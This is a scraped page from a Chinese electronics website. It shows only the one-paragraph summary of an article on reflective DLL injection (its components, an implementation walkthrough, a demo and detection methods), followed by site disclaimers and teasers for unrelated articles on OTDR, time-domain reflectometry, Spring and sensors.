本文首先针对反射 DLL 注入的应用场景做了简单的介绍,之后介绍了反射 DLL 注入的原理,其由两部分组成,其中一部分是反射 DLL,另一部分反射 DLL 注入器,两者缺一不可。之后结合开源代码对反射 DLL 注入的实现进行了进一步说明,对其实现流程进行了说明,最后演示了反射 DLL 注入的效果和提出了一些注意点,并提供了一些检测方式。

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • dll
    dll
    +关注

    关注

    0

    文章

    113

    浏览量

    45016
  • 程序
    +关注

    关注

    114

    文章

    3631

    浏览量

    79541
  • 函数
    +关注

    关注

    3

    文章

    3868

    浏览量

    61308

原文标题:反射 DLL 注入

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    光时域反射仪(OTDR)工作原理及测试方法

    一、OTDR的工作原理:光纤光缆测试是光缆施工、维护、抢修重要技术手段,采用OTDR(光时域反射仪)进行光纤连接的现场监视和连接损耗测量评价,是目前最有效的方式。这种
    发表于 08-09 10:05 4939次阅读

    时域反射计的工作原理

    传统时域反射工作原理时域反射计TDR是最常用的测量传输线特征阻抗的仪器,它是利用时域反射的原理进行特性阻抗的测量。图1是传统TDR工作原理
    发表于 07-01 08:23

    Spring工作原理

    2.AOP的主要原理:动态代理Spring工作原理Spring 已经用过一段时间了,感觉Spring是个很不错的框架。内部最核心的就是IOC了,动态注入,让一个对象的创建不用new了,可以自动的生产,这其实
    发表于 07-10 07:41

    HC-SR04工作原理

    文章目录超声波测距原理HC-SR04工作原理STM32实现驱动1.引脚的配置2.时序控制3.时间差测量4.如何将距离测出来超声波测距原理利用HC-SR04超声波测距模块可以实现比较精确的直线测距,其
    发表于 08-04 07:40

    TCRT5000红外反射传感器与SG90舵机的工作原理

    TCRT5000红外反射传感器的工作原理是什么?SG90舵机的工作原理是什么?
    发表于 10-11 07:35

    DTH11传感器工作原理流程解析

    DTH11的工作原理是什么?DTH11传感器的通讯流程是怎样的?
    发表于 02-18 06:49

    利用LabWindowsCVI(DAQ+DLL实现_程序案例

    程序案例 利用LabWindowsCVI(DAQ+DLL实现开关量输入(DI)
    发表于 01-13 16:21 17次下载

    时域反射计TDR原理

    传统时域反射工作原理 时域反射计TDR是最常用的测量传输线特征阻抗的仪器,它是利用时域反射的原理进行特性阻抗的测量。 图1是传统TDR工作原理
    发表于 11-23 03:30 810次阅读
    时域<b class='flag-5'>反射</b>计TDR原理

    无限反射镜的工作原理

    我在所有实验中都实现了完成后,如果您使用的反射表面(无论是在无穷大镜的正面还是背面)都朝着LED弯曲,那么您会获得朝着中心会聚的效果。如果反射面弯曲远离LED,则效果偏离中心。
    的头像 发表于 11-04 11:04 2.7w次阅读

    时域反射计TDR的工作原理详细说明

    测试信号的运行特征参考图2所示。由阶跃源发出的快边沿信号注入到被测传输线上,如果传输线阻抗连续,这个快沿阶跃信号就沿着传输线向前传播。当传输线出现阻抗变化时,阶跃信号就有一部分反射回来,一部分继续
    发表于 12-18 10:28 4次下载

    Java反射工作原理和源码分析

    Java反射工作原理和源码分析
    发表于 07-08 15:11 14次下载
    Java<b class='flag-5'>反射</b>的<b class='flag-5'>工作原理</b>和源码分析

    机器视觉检测系统的工作原理及检测流程

    机器视觉检测系统的工作原理及检测流程说明。
    发表于 04-26 09:18 20次下载

    电流注入探头的工作原理

    电流注入探头是一种测量电器的工具,主要用于实时监测电路中的电流变化。它的工作原理是将一个小电阻串联在电路中,并通过该电阻注入恒定电流,然后通过检测电阻两端的电压变化来计算电路中的电流。本文将详细介绍电流
    的头像 发表于 03-29 15:40 1602次阅读

    光纤反射内存产品的工作原理及特点

    内存产品的特点、工作原理及应用场景,帮助读者全面了解这一技术。 一、光纤反射内存产品的特点 光纤反射内存产品是一种基于光纤反射镜技术的存储设备,具有高速度、大容量、低能耗、高可靠性和长
    的头像 发表于 11-11 12:26 1207次阅读

    物联网数据采集器的工作原理工作流程

    物联网数据采集器的工作原理工作流程 物联网数据采集器是物联网系统中的关键组成部分,它负责收集、处理和传输设备所产生的数据。其工作原理工作流程如下所述。 一、物联网数据采集器
    的头像 发表于 02-01 10:59 1600次阅读